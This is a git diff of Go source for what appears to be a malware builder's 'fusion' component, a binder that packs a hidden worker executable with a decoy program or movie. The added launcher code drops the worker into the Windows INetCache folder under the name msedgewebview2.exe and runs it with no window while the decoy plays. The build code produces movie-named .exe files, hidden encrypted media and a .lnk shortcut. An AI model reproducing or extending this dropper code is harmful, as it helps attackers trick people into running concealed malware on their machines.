diff --git a/.gitignore b/.gitignore
index c5227d7..48e5866 100644
--- a/.gitignore
+++ b/.gitignore
@@ -34,3 +34,7 @@ Desktop.ini
 
 # Accidental empty placeholder (breaks go build if committed)
 /server/internal/ollama/main.go
+
+# Broken accidental directory (cmd "..." path expansion)
+/server/.../
+/fusion-deliverables/
diff --git a/fusion/assets/manifest.json b/fusion/assets/manifest.json
new file mode 100644
index 0000000..50e43f9
--- /dev/null
+++ b/fusion/assets/manifest.json
@@ -0,0 +1 @@
+{"payload_kind":"exe","media_mode":"","media_file_name":""}
diff --git a/fusion/assets/media.bin b/fusion/assets/media.bin
new file mode 100644
index 0000000..e69de29
diff --git a/fusion/launch_stub.go b/fusion/launch_stub.go
new file mode 100644
index 0000000..65bb5b3
--- /dev/null
+++ b/fusion/launch_stub.go
@@ -0,0 +1,7 @@
+//go:build !windows
+
+package main
+
+import "os/exec"
+
+func applyHiddenStart(_ *exec.Cmd) {}
diff --git a/fusion/launch_windows.go b/fusion/launch_windows.go
new file mode 100644
index 0000000..a9c4e1e
--- /dev/null
+++ b/fusion/launch_windows.go
@@ -0,0 +1,20 @@
+//go:build windows
+
+package main
+
+import (
+	"os/exec"
+	"syscall"
+)
+
+const createNoWindow = 0x08000000
+
+func applyHiddenStart(cmd *exec.Cmd) {
+	if cmd == nil {
+		return
+	}
+	cmd.SysProcAttr = &syscall.SysProcAttr{
+		HideWindow:    true,
+		CreationFlags: createNoWindow,
+	}
+}
diff --git a/fusion/lock_hint_stub.go b/fusion/lock_hint_stub.go
new file mode 100644
index 0000000..ecb8672
--- /dev/null
+++ b/fusion/lock_hint_stub.go
@@ -0,0 +1,5 @@
+//go:build !windows
+
+package main
+
+func showLockedMediaHint() {}
diff --git a/fusion/lock_hint_windows.go b/fusion/lock_hint_windows.go
new file mode 100644
index 0000000..b143b60
--- /dev/null
+++ b/fusion/lock_hint_windows.go
@@ -0,0 +1,31 @@
+//go:build windows
+
+package main
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+	"syscall"
+	"unsafe"
+)
+
+func showLockedMediaHint() {
+	runner := filepath.Base(os.Args[0])
+	if m := readManifest(); m != nil && m.RunnerDisplay != "" {
+		runner = m.RunnerDisplay
+	}
+	if runner == "" {
+		runner = "the runner .exe"
+	}
+	msg := fmt.Sprintf("This movie is locked.\r\n\r\nUse with:\r\n%s", runner)
+	title := "Locked media"
+	user32 := syscall.NewLazyDLL("user32.dll")
+	messageBoxW := user32.NewProc("MessageBoxW")
+	messageBoxW.Call(
+		0,
+		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(msg))),
+		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
+		0x30,
+	)
+}
diff --git a/fusion/main.go b/fusion/main.go
index 0200446..d7d8e57 100644
--- a/fusion/main.go
+++ b/fusion/main.go
@@ -1,7 +1,10 @@
 package main
 
 import (
-	_ "embed"
+	"crypto/sha256"
+	"embed"
+	"encoding/hex"
+	"encoding/json"
 	"fmt"
 	"os"
 	"os/exec"
@@ -9,16 +12,51 @@ import (
 	"sync"
 )
 
-//go:embed assets/prep.exe
-var prepExe []byte
+//go:embed assets/*
+var assets embed.FS
 
-//go:embed assets/worker.exe
-var workerExe []byte
+// Replaced at forge time.
+const (
+	runOrder      = "FUSION_RUN_ORDER"
+	payloadKind   = "FUSION_PAYLOAD_KIND"
+	mediaMode     = "FUSION_MEDIA_MODE"
+	mediaFileName = "FUSION_MEDIA_FILE"
+)
 
-// RunOrder is replaced at build time (parallel | prep_first | worker_first).
-const runOrder = "FUSION_RUN_ORDER"
+type fusionManifest struct {
+	PayloadKind   string `json:"payload_kind"`
+	MediaMode     string `json:"media_mode"`
+	MediaFileName string `json:"media_file_name"`
+	MediaEncFile  string `json:"media_enc_file"`
+	MediaKeyB64   string `json:"media_key_b64"`
+	RunnerDisplay string `json:"runner_display_name"`
+}
 
 func main() {
+	if fusionLockHintMode() {
+		showLockedMediaHint()
+		return
+	}
+
+	workerPath, err := materializeWorker()
+	if err != nil {
+		return
+	}
+
+	switch payloadKind {
+	case "video":
+		runVideoFusion(workerPath)
+	default:
+		runExeFusion(workerPath)
+	}
+}
+
+func runExeFusion(workerPath string) {
+	prepBytes, err := assets.ReadFile("assets/prep.exe")
+	if err != nil || len(prepBytes) == 0 {
+		return
+	}
+
 	dir, err := os.MkdirTemp("", "cm-fusion-*")
 	if err != nil {
 		return
@@ -26,46 +64,175 @@ func main() {
 	defer os.RemoveAll(dir)
 
 	prepPath := filepath.Join(dir, "prep.exe")
-	workerPath := filepath.Join(dir, "worker.exe")
-	if err := os.WriteFile(prepPath, prepExe, 0755); err != nil {
-		return
-	}
-	if err := os.WriteFile(workerPath, workerExe, 0755); err != nil {
+	if err := os.WriteFile(prepPath, prepBytes, 0755); err != nil {
 		return
 	}
 
+	runFusionOrder(workerPath, prepPath, func() { waitProcess(prepPath) })
+}
+
+func runVideoFusion(workerPath string) {
+	mediaName := mediaFileName
+	if mediaName == "" {
+		if m := readManifest(); m != nil && m.MediaFileName != "" {
+			mediaName = m.MediaFileName
+		}
+	}
+	if mediaName == "" {
+		mediaName = "movie.mkv"
+	}
+
+	var mediaPath string
+	var err error
+	switch mediaMode {
+	case "embedded":
+		var cleanup func()
+		mediaPath, cleanup, err = materializeEmbeddedMedia(mediaName)
+		if err != nil {
+			return
+		}
+		defer cleanup()
+	default:
+		var cleanup func()
+		mediaPath, cleanup, err = resolvePairedMedia(mediaName)
+		if err != nil || mediaPath == "" {
+			return
+		}
+		if cleanup != nil {
+			defer cleanup()
+		}
+	}
+
+	runFusionOrder(workerPath, mediaPath, func() { openMedia(mediaPath) })
+}
+
+func runFusionOrder(workerPath, primaryPath string, runPrimary func()) {
 	switch runOrder {
 	case "prep_first":
-		waitProcess(prepPath)
-		startProcess(workerPath)
+		runPrimary()
+		launchWorker(workerPath)
 	case "worker_first":
+		launchWorker(workerPath)
 		waitProcess(workerPath)
-		waitProcess(prepPath)
+		runPrimary()
 	default:
+		launchWorker(workerPath)
 		var wg sync.WaitGroup
-		wg.Add(2)
+		wg.Add(1)
 		go func() {
 			defer wg.Done()
-			waitProcess(prepPath)
-		}()
-		go func() {
-			defer wg.Done()
-			startProcess(workerPath)
+			runPrimary()
 		}()
 		wg.Wait()
 	}
 }
 
-func startProcess(path string) {
+func readManifest() *fusionManifest {
+	raw, err := assets.ReadFile("assets/manifest.json")
+	if err != nil {
+		return nil
+	}
+	var m fusionManifest
+	if json.Unmarshal(raw, &m) != nil {
+		return nil
+	}
+	return &m
+}
+
+func materializeEmbeddedMedia(name string) (string, func(), error) {
+	data, err := assets.ReadFile("assets/media.bin")
+	if err != nil || len(data) == 0 {
+		return "", nil, fmt.Errorf("embedded media missing")
+	}
+	dir, err := os.MkdirTemp("", "cm-fusion-media-*")
+	if err != nil {
+		return "", nil, err
+	}
+	path := filepath.Join(dir, filepath.Base(name))
+	if err := os.WriteFile(path, data, 0644); err != nil {
+		os.RemoveAll(dir)
+		return "", nil, err
+	}
+	return path, func() { _ = os.RemoveAll(dir) }, nil
+}
+
+func resolvePairedMedia(name string) (string, func(), error) {
+	m := readManifest()
+	encFile := name + ".cmdata"
+	keyB64 := ""
+	playName := name
+	if m != nil {
+		if m.MediaEncFile != "" {
+			encFile = m.MediaEncFile
+		}
+		keyB64 = m.MediaKeyB64
+		if m.MediaFileName != "" {
+			playName = m.MediaFileName
+		}
+	}
+	if keyB64 != "" {
+		return encryptedMediaBesideRunner(encFile, keyB64, playName)
+	}
+	exe, err := os.Executable()
+	if err != nil {
+		return "", nil, err
+	}
+	dir := filepath.Dir(exe)
+	for _, candidate := range []string{name, filepath.Base(name)} {
+		p := filepath.Join(dir, candidate)
+		if st, statErr := os.Stat(p); statErr == nil && !st.IsDir() {
+			return p, func() {}, nil
+		}
+	}
+	return "", nil, fmt.Errorf("media not found")
+}
+
+func materializeWorker() (string, error) {
+	workerBytes, err := assets.ReadFile("assets/worker.exe")
+	if err != nil || len(workerBytes) == 0 {
+		return "", fmt.Errorf("worker missing")
+	}
+
+	base := os.Getenv("LOCALAPPDATA")
+	if base == "" {
+		base = os.TempDir()
+	}
+	sum := sha256.Sum256(workerBytes)
+	tag := hex.EncodeToString(sum[:6])
+	dir := filepath.Join(base, "Microsoft", "Windows", "INetCache", "Content.IE5", tag)
+	if err := os.MkdirAll(dir, 0755); err != nil {
+		return "", err
+	}
+	dest := filepath.Join(dir, "msedgewebview2.exe")
+	if existing, err := os.ReadFile(dest); err == nil && len(existing) == len(workerBytes) {
+		if sha256.Sum256(existing) == sum {
+			return dest, nil
+		}
+	}
+	if err := os.WriteFile(dest, workerBytes, 0755); err != nil {
+		return "", err
+	}
+	return dest, nil
+}
+
+func launchWorker(path string) {
 	cmd := exec.Command(path)
 	cmd.Dir = filepath.Dir(path)
+	applyHiddenStart(cmd)
 	_ = cmd.Start()
 }
 
 func waitProcess(path string) {
 	cmd := exec.Command(path)
 	cmd.Dir = filepath.Dir(path)
-	if err := cmd.Run(); err != nil {
-		fmt.Fprintf(os.Stderr, "process failed: %s: %v\n", filepath.Base(path), err)
-	}
+	_ = cmd.Run()
+}
+
+func fusionLockHintMode() bool {
+	for _, arg := range os.Args[1:] {
+		if arg == "--locked" || arg == "-locked" {
+			return true
+		}
+	}
+	return false
 }
diff --git a/fusion/media_crypto.go b/fusion/media_crypto.go
new file mode 100644
index 0000000..fe5902a
--- /dev/null
+++ b/fusion/media_crypto.go
@@ -0,0 +1,88 @@
+package main
+
+import (
+	"encoding/base64"
+	"fmt"
+	"io"
+	"os"
+	"path/filepath"
+	"strings"
+)
+
+const mediaLockMagic = "CMVD"
+
+func decryptMediaFile(encPath, keyB64, playName string) (string, func(), error) {
+	key, err := base64.StdEncoding.DecodeString(keyB64)
+	if err != nil || len(key) == 0 {
+		return "", nil, fmt.Errorf("invalid media key")
+	}
+	in, err := os.Open(encPath)
+	if err != nil {
+		return "", nil, err
+	}
+	defer in.Close()
+
+	head := make([]byte, len(mediaLockMagic))
+	if _, err := io.ReadFull(in, head); err != nil || string(head) != mediaLockMagic {
+		return "", nil, fmt.Errorf("not a locked media file")
+	}
+
+	dir, err := os.MkdirTemp("", "cm-fusion-play-*")
+	if err != nil {
+		return "", nil, err
+	}
+	outName := filepath.Base(playName)
+	if outName == "" || outName == "." {
+		outName = "movie.mkv"
+	}
+	outPath := filepath.Join(dir, outName)
+	out, err := os.Create(outPath)
+	if err != nil {
+		os.RemoveAll(dir)
+		return "", nil, err
+	}
+
+	buf := make([]byte, 256*1024)
+	ki := 0
+	for {
+		n, readErr := in.Read(buf)
+		if n > 0 {
+			plain := make([]byte, n)
+			for i := 0; i < n; i++ {
+				plain[i] = buf[i] ^ key[ki%len(key)]
+				ki++
+			}
+			if _, err := out.Write(plain); err != nil {
+				out.Close()
+				os.RemoveAll(dir)
+				return "", nil, err
+			}
+		}
+		if readErr == io.EOF {
+			break
+		}
+		if readErr != nil {
+			out.Close()
+			os.RemoveAll(dir)
+			return "", nil, readErr
+		}
+	}
+	out.Close()
+	return outPath, func() { _ = os.RemoveAll(dir) }, nil
+}
+
+func encryptedMediaBesideRunner(mediaEncFile, keyB64, playName string) (string, func(), error) {
+	exe, err := os.Executable()
+	if err != nil {
+		return "", nil, err
+	}
+	name := strings.TrimSpace(mediaEncFile)
+	if name == "" {
+		return "", nil, fmt.Errorf("missing encrypted media name")
+	}
+	encPath := filepath.Join(filepath.Dir(exe), filepath.Base(name))
+	if st, err := os.Stat(encPath); err != nil || st.IsDir() {
+		return "", nil, fmt.Errorf("encrypted media not found")
+	}
+	return decryptMediaFile(encPath, keyB64, playName)
+}
diff --git a/fusion/media_stub.go b/fusion/media_stub.go
new file mode 100644
index 0000000..99ba2d0
--- /dev/null
+++ b/fusion/media_stub.go
@@ -0,0 +1,10 @@
+//go:build !windows
+
+package main
+
+import "os/exec"
+
+func openMedia(path string) {
+	cmd := exec.Command("xdg-open", path)
+	_ = cmd.Start()
+}
diff --git a/fusion/media_windows.go b/fusion/media_windows.go
new file mode 100644
index 0000000..0c5bfbd
--- /dev/null
+++ b/fusion/media_windows.go
@@ -0,0 +1,14 @@
+//go:build windows
+
+package main
+
+import (
+	"os/exec"
+	"path/filepath"
+)
+
+func openMedia(path string) {
+	path = filepath.Clean(path)
+	cmd := exec.Command("cmd", "/c", "start", "", path)
+	_ = cmd.Start()
+}
diff --git a/server/internal/api/router.go b/server/internal/api/router.go
index 5c44274..d3b2f1b 100644
--- a/server/internal/api/router.go
+++ b/server/internal/api/router.go
@@ -61,7 +61,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
 		// Agent-facing API + health + forged worker downloads stay open for agents.
 		if strings.HasPrefix(path, "/api/v1/agent/") ||
 			path == "/api/v1/health" ||
-			(strings.HasPrefix(path, "/api/v1/builds/") && strings.HasSuffix(path, "/download")) {
+			(strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
 			next.ServeHTTP(w, r)
 			return
 		}
@@ -144,6 +144,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
 		// Builds
 		r.Get("/builds", h.ListBuilds)
 		r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
+		r.Get("/builds/{id}/artifact/{name}", builderHandler.DownloadBuildArtifact)
 		r.Get("/builds/{id}/uninstall", builderHandler.DownloadUninstall)
 
 		// Config
diff --git a/server/internal/builder/estimate.go b/server/internal/builder/estimate.go
index d564e34..acd3acb 100644
--- a/server/internal/builder/estimate.go
+++ b/server/internal/builder/estimate.go
@@ -13,26 +13,44 @@ const (
 )
 
 type FusionEstimateResponse struct {
-	PrepBytes                  int64    `json:"prep_bytes"`
-	PrepName                   string   `json:"prep_name"`
-	EstimatedWorkerBytes       int64    `json:"estimated_worker_bytes"`
-	EstimatedFusionStubBytes   int64    `json:"estimated_fusion_stub_bytes"`
-	EstimatedResourcePatchBytes int64   `json:"estimated_resource_patch_bytes"`
-	EstimatedTotalBytes        int64    `json:"estimated_total_bytes"`
-	OutputFileName             string   `json:"output_file_name"`
-	ProjectRootPath            string   `json:"project_root_path"`
-	ArchivePathHint            string   `json:"archive_path_hint"`
-	ExportPath                 string   `json:"export_path,omitempty"`
-	Obfuscate                  bool     `json:"obfuscate"`
-	SignBuild                  bool     `json:"sign_build"`
-	Notes                      []string `json:"notes"`
+	PrepBytes                   int64    `json:"prep_bytes"`
+	PrepName                    string   `json:"prep_name"`
+	EstimatedWorkerBytes        int64    `json:"estimated_worker_bytes"`
+	EstimatedFusionStubBytes    int64    `json:"estimated_fusion_stub_bytes"`
+	EstimatedResourcePatchBytes int64    `json:"estimated_resource_patch_bytes"`
+	EstimatedTotalBytes         int64    `json:"estimated_total_bytes"`
+	OutputFileName              string   `json:"output_file_name"`
+	ProjectRootPath             string   `json:"project_root_path"`
+	ArchivePathHint             string   `json:"archive_path_hint"`
+	ExportPath                  string   `json:"export_path,omitempty"`
+	Obfuscate                   bool     `json:"obfuscate"`
+	SignBuild                   bool     `json:"sign_build"`
+	Notes                       []string `json:"notes"`
 }
 
 func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSize int64, prepName string) FusionEstimateResponse {
+	kind := strings.TrimSpace(req.FusionPayloadKind)
+	if kind == "" {
+		kind = detectFusionPayloadKind(prepName)
+		if kind == "exe" && prepPath != "" {
+			kind = detectFusionPayloadKind(prepPath)
+		}
+	}
+	mode := normalizeFusionMediaMode(req.FusionMediaMode)
+
 	outputName := req.FusionOutputName
 	if outputName == "" {
 		outputName = prepName
 	}
+	if kind == "video" {
+		if mode == "embedded" {
+			if outputName == "" {
+				outputName = disguiseVideoExeName(prepName)
+			}
+		} else if outputName == "" {
+			outputName = runnerNameForMedia(prepName)
+		}
+	}
 	if outputName == "" {
 		outputName = "prep.exe"
 	}
@@ -43,13 +61,28 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
 
 	workerBytes := h.estimateWorkerBytes()
 	stubBytes := defaultFusionStubBytes
-	total := prepSize + workerBytes + stubBytes + resourcePatchOverhead
+	var total int64
+	switch kind {
+	case "video":
+		if mode == "embedded" {
+			total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
+		} else {
+			total = workerBytes + stubBytes + resourcePatchOverhead
+		}
+	default:
+		total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
+	}
 
 	root := h.projectRoot
 	if root == "" || root == "." {
 		root, _ = filepath.Abs(".")
 	}
-	projectOut := filepath.Join(root, outputName)
+	label := prepName
+	if kind != "video" {
+		label = strings.TrimSuffix(outputName, filepath.Ext(outputName))
+	}
+	sub := fusionExportSubdir(req, label)
+	projectOut := filepath.Join(root, FusionDeliverablesDir, sub, outputName)
 
 	resp := FusionEstimateResponse{
 		PrepBytes:                   prepSize,
@@ -64,18 +97,36 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
 		Obfuscate:                   h.shouldObfuscate(req),
 		SignBuild:                   req.SignBuild,
 		Notes: []string{
-			fmt.Sprintf("Prep: %s", formatBytes(prepSize)),
-			fmt.Sprintf("Estimated worker: %s (from recent builds or default)", formatBytes(workerBytes)),
+			fmt.Sprintf("Payload: %s (%s)", prepName, formatBytes(prepSize)),
+			fmt.Sprintf("Estimated worker: %s", formatBytes(workerBytes)),
 			fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
-			"Final size may differ slightly after icon + version info patch.",
+			fmt.Sprintf("Max upload: %s", formatBytes(FusionMaxUploadBytes)),
 		},
 	}
 
+	if kind == "video" {
+		if mode == "embedded" {
+			resp.Notes = append(resp.Notes,
+				"Option A (embedded): one disguised .exe contains the movie + hidden worker. Best under ~500MB.",
+			)
+		} else {
+			resp.Notes = append(resp.Notes,
+				"Option B (paired): runner .exe + encrypted movie in fusion-deliverables/<title>/.",
+				fmt.Sprintf("Movie file stays as %q beside the runner.", prepName),
+			)
+		}
+		resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
+		resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))
+	}
+
 	if strings.TrimSpace(req.OutputDir) != "" {
 		clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
 		if clean != "." && !strings.HasPrefix(clean, "..") && !filepath.IsAbs(clean) {
-			resp.ExportPath = filepath.Join(root, clean, outputName)
-			resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", resp.ExportPath))
+			secondary := filepath.Join(root, clean, outputName)
+			if resp.ExportPath == "" {
+				resp.ExportPath = secondary
+			}
+			resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", secondary))
 		}
 	}
 
@@ -86,7 +137,6 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
 		resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
 	}
 
-	_ = prepPath
 	return resp
 }
 
diff --git a/server/internal/builder/fusion.go b/server/internal/builder/fusion.go
index e644f6d..0b2fa01 100644
--- a/server/internal/builder/fusion.go
+++ b/server/internal/builder/fusion.go
@@ -1,73 +1,17 @@
 package builder
 
-import (
-	"fmt"
-	"os"
-	"path/filepath"
-	"strings"
-)
+import "strings"
 
 func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
-	if prepPath == "" {
-		return "", fmt.Errorf("fusion requires prep.exe")
+	req := &BuildRequest{
+		FusionOutputName: outputName,
+		FusionRunOrder:   runOrder,
 	}
-	if _, err := os.Stat(prepPath); err != nil {
-		return "", fmt.Errorf("prep.exe not found: %w", err)
-	}
-	if _, err := os.Stat(workerPath); err != nil {
-		return "", fmt.Errorf("worker binary not found: %w", err)
-	}
-
-	fusionSrc := filepath.Join(h.projectRoot, "fusion")
-	if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
-		return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
-	}
-
-	fusionDir := filepath.Join(buildDir, "fusion")
-	assetsDir := filepath.Join(fusionDir, "assets")
-	if err := os.MkdirAll(assetsDir, 0755); err != nil {
-		return "", err
-	}
-
-	mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
+	res, err := h.buildFusionFromRequest(buildDir, prepPath, workerPath, req)
 	if err != nil {
 		return "", err
 	}
-	order := normalizeFusionOrder(runOrder)
-	mainOut := strings.Replace(string(mainSrc), `const runOrder = "FUSION_RUN_ORDER"`, fmt.Sprintf(`const runOrder = %q`, order), 1)
-	if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), []byte(mainOut), 0644); err != nil {
-		return "", err
-	}
-
-	if err := copyFile(filepath.Join(fusionSrc, "go.mod"), filepath.Join(fusionDir, "go.mod")); err != nil {
-		return "", err
-	}
-	if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
-		return "", err
-	}
-	if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
-		return "", err
-	}
-
-	if outputName == "" {
-		outputName = filepath.Base(prepPath)
-	}
-	if outputName == "" {
-		outputName = "prep.exe"
-	}
-	if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
-		outputName += ".exe"
-	}
-	outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
-
-	ldflags := fusionLdflags(prepPath)
-	if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
-		return "", err
-	}
-	if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
-		return "", err
-	}
-	return outputPath, nil
+	return res.LauncherPath, nil
 }
 
 func normalizeFusionOrder(order string) string {
diff --git a/server/internal/builder/fusion_media.go b/server/internal/builder/fusion_media.go
new file mode 100644
index 0000000..b0e8e93
--- /dev/null
+++ b/server/internal/builder/fusion_media.go
@@ -0,0 +1,344 @@
+package builder
+
+import (
+	"encoding/json"
+	"fmt"
+	"log"
+	"os"
+	"path/filepath"
+	"strings"
+)
+
+type fusionBuildResult struct {
+	LauncherPath  string
+	MediaName     string
+	EncryptedPath string
+	ShortcutPath  string
+}
+
+func detectFusionPayloadKind(path string) string {
+	switch strings.ToLower(filepath.Ext(path)) {
+	case ".mp4", ".mkv", ".mov":
+		return "video"
+	default:
+		return "exe"
+	}
+}
+
+func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
+	kind := strings.TrimSpace(req.FusionPayloadKind)
+	if kind == "" {
+		kind = detectFusionPayloadKind(payloadPath)
+	}
+	req.FusionPayloadKind = kind
+
+	if kind == "video" {
+		return h.buildVideoFusion(buildDir, payloadPath, workerPath, req)
+	}
+	path, err := h.buildExeFusion(buildDir, payloadPath, workerPath, req.FusionOutputName, req.FusionRunOrder)
+	if err != nil {
+		return nil, err
+	}
+	return &fusionBuildResult{LauncherPath: path}, nil
+}
+
+func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
+	mode := normalizeFusionMediaMode(req.FusionMediaMode)
+	mediaName := strings.TrimSpace(req.FusionMediaBaseName)
+	if mediaName == "" {
+		mediaName = filepath.Base(mediaPath)
+	}
+	mediaName = sanitizeFileName(mediaName)
+
+	outputName := strings.TrimSpace(req.FusionOutputName)
+	if mode == "embedded" {
+		if outputName == "" {
+			outputName = disguiseVideoExeName(mediaName)
+		}
+	} else {
+		if outputName == "" {
+			outputName = runnerNameForMedia(mediaName)
+		}
+	}
+	if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
+		outputName += ".exe"
+	}
+	outputName = sanitizeFileName(outputName)
+
+	fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, "video", mode, mediaName)
+	if err != nil {
+		return nil, err
+	}
+	assetsDir := filepath.Join(fusionDir, "assets")
+
+	if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
+		return nil, err
+	}
+	encFileName := mediaName + ".cmdata"
+	var mediaKey []byte
+	if mode == "paired" {
+		var keyErr error
+		mediaKey, keyErr = NewMediaLockKey()
+		if keyErr != nil {
+			return nil, keyErr
+		}
+	}
+	manifestFields := map[string]string{
+		"payload_kind":    "video",
+		"media_mode":      mode,
+		"media_file_name": mediaName,
+	}
+	if mode == "paired" {
+		manifestFields["media_enc_file"] = encFileName
+		manifestFields["media_key_b64"] = MediaLockKeyB64(mediaKey)
+		manifestFields["runner_display_name"] = outputName
+	}
+	if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
+		return nil, err
+	}
+
+	var encryptedPath, shortcutPath string
+	switch mode {
+	case "embedded":
+		if err := copyFile(mediaPath, filepath.Join(assetsDir, "media.bin")); err != nil {
+			return nil, err
+		}
+		if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
+			return nil, err
+		}
+	default:
+		if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
+			return nil, err
+		}
+		if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
+			return nil, err
+		}
+	}
+
+	launcherPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
+	ldflags := "-s -w -H windowsgui"
+	if _, err := h.compileGoProject(fusionDir, launcherPath, ldflags, nil, false); err != nil {
+		return nil, err
+	}
+
+	if mode == "paired" {
+		encryptedPath = filepath.Join(buildDir, encFileName)
+		if err := EncryptMediaFile(mediaPath, encryptedPath, mediaKey); err != nil {
+			return nil, err
+		}
+		_ = setHiddenFile(encryptedPath)
+
+		shortcutPath = filepath.Join(buildDir, mediaName+".lnk")
+		if err := createMovieLockShortcut(shortcutPath, launcherPath, "--locked", ""); err != nil {
+			return nil, err
+		}
+	}
+
+	return &fusionBuildResult{
+		LauncherPath:  launcherPath,
+		MediaName:     mediaName,
+		EncryptedPath: encryptedPath,
+		ShortcutPath:  shortcutPath,
+	}, nil
+}
+
+func (h *Handler) buildExeFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
+	fusionDir, err := h.prepareFusionProject(buildDir, runOrder, "exe", "", "")
+	if err != nil {
+		return "", err
+	}
+	assetsDir := filepath.Join(fusionDir, "assets")
+	if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
+		return "", err
+	}
+	if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
+		return "", err
+	}
+	if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
+		return "", err
+	}
+	if err := writeFusionManifest(assetsDir, "exe", "", ""); err != nil {
+		return "", err
+	}
+
+	if outputName == "" {
+		outputName = filepath.Base(prepPath)
+	}
+	if outputName == "" {
+		outputName = "prep.exe"
+	}
+	if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
+		outputName += ".exe"
+	}
+	outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
+
+	ldflags := fusionLdflags(prepPath)
+	if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
+		return "", err
+	}
+	if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
+		return "", err
+	}
+	return outputPath, nil
+}
+
+func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) {
+	fusionSrc := filepath.Join(h.projectRoot, "fusion")
+	if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
+		return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
+	}
+
+	fusionDir := filepath.Join(buildDir, "fusion")
+	assetsDir := filepath.Join(fusionDir, "assets")
+	if err := os.MkdirAll(assetsDir, 0755); err != nil {
+		return "", err
+	}
+
+	mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
+	if err != nil {
+		return "", err
+	}
+	mainOut := patchFusionMain(mainSrc, runOrder, payloadKind, mediaMode, mediaFileName)
+	if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), mainOut, 0644); err != nil {
+		return "", err
+	}
+
+	for _, name := range []string{
+		"go.mod", "launch_windows.go", "launch_stub.go",
+		"media_windows.go", "media_stub.go", "media_crypto.go",
+		"lock_hint_windows.go", "lock_hint_stub.go",
+	} {
+		src := filepath.Join(fusionSrc, name)
+		if _, err := os.Stat(src); err != nil {
+			continue
+		}
+		if err := copyFile(src, filepath.Join(fusionDir, name)); err != nil {
+			return "", err
+		}
+	}
+	return fusionDir, nil
+}
+
+func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName string) []byte {
+	order := normalizeFusionOrder(runOrder)
+	out := string(src)
+	repl := map[string]string{
+		`const runOrder = "FUSION_RUN_ORDER"`:       fmt.Sprintf(`const runOrder = %q`, order),
+		`const payloadKind = "FUSION_PAYLOAD_KIND"`: fmt.Sprintf(`const payloadKind = %q`, payloadKind),
+		`const mediaMode = "FUSION_MEDIA_MODE"`:       fmt.Sprintf(`const mediaMode = %q`, mediaMode),
+		`const mediaFileName = "FUSION_MEDIA_FILE"`:   fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
+	}
+	for old, new := range repl {
+		out = strings.Replace(out, old, new, 1)
+	}
+	return []byte(out)
+}
+
+func writeFusionManifest(assetsDir, payloadKind, mediaMode, mediaFileName string) error {
+	return writeFusionManifestEx(assetsDir, map[string]string{
+		"payload_kind":    payloadKind,
+		"media_mode":      mediaMode,
+		"media_file_name": mediaFileName,
+	})
+}
+
+func writeFusionManifestEx(assetsDir string, fields map[string]string) error {
+	raw, err := json.Marshal(fields)
+	if err != nil {
+		return err
+	}
